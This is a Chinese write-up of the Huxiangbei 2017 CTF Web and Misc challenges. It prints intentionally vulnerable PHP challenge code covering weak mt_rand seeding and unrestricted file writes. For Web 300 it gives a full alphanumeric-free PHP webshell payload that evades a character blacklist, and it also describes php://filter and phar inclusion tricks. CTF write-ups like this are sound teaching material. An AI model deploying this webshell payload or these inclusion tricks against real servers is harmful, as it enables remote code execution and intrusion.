湖湘杯 2017 Web/Misc Writeup
0x00 Something
hxb有种原题搜索大赛的感觉,不过对于我这只m新来说,还是可以学到东西的。感觉质量最高的就是Web400了吧,然而菜。
0x01 WP
Web 150
得到swp源码后发现随机数可以爆破。
<?php
error_reporting(0);
$flag = "*********************";
echo "please input a rand_num !";
function create_password($pw_length = 10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(100, 200));
}
return $randpwd;
}
session_start();
mt_srand(time());
$pwd=create_password();
echo $pwd.'||';
if($pwd == $_GET['pwd']){
echo "first";
if($_SESSION['userLogin']==$_GET['login'])
echo "Nice , you get the flag it is ".$flag ;
}else{
echo "Wrong!";
}
$_SESSION['userLogin']=create_password(32).rand();
?>
由于随机数种子使用了time(),考虑条件竞争重新提交获取到的password。login为空绕过判断。
当然爆破time()随机数种子也可行,但是可能是我时区设置问题一直没成功。
Web 200
文件上传过滤很少,且存在文件包含,包含得到网页源码,发现是有限制的包含,可使用phar包含,在寻找flag时发现可直接php://filter包含flag.php。
莫非真的是上传题?
直接包含flag.php就ok。
Web 300
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $id+ ) {
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
源码中过滤了所有字母和数字,还有部分字符,发现[、]、$、_等没有过滤,参考不包含字母和数字的webshell,利用字符串Array获取字符A,利用php的特性,从A递增获得A到Z的各个字母。原理参考p师傅博客。
此处使用了chybeta师傅的payload:
$_='';$_[%2b$_]%2b%2b;$_=$_.'';$__=$_[%2b''];$_=$__;$___=$_;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$___.=$__;$____='_';$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$__=$_;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$__%2b%2b;$____.=$__;$_=$$____;$___($_[_]);
Web 400
师傅说ssrf,ini文件可以上传。
Misc 100
神热身题,半途换了图片。
8x8矩阵对应base64解出即可。
Misc 150
flag.zip提取,ce.txt使用PIL绘图即可。注意行、列数。
Misc 200
一个XOR加密的安卓APK,没有解密函数,把密文改扩展名再加密一次得到flag。
Misc 300
引用的其他比赛的题。
文本中的内容像是对pickle对象序列化,读入后得到大量tuple。尝试创建一个image,绘图。
import pickle
from PIL import Image
with open('pixels.jpg.pkl') as f:
data = pickle.loads(f.read().encode('utf8'))
white_pixels = [(int(e[0]), int(e[1])) for e in data[1:]]
width = max([p[0] for p in white_pixels]) + 10
height = max([p[1] for p in white_pixels]) + 10
image = Image.new('1', (width, height), 0)
pixels = image.load()
for pixel in white_pixels:
pixels[pixel[0], pixel[1]] = 255
image.show()
RE 100/200
其实这两个RE的题,应该就是新手题。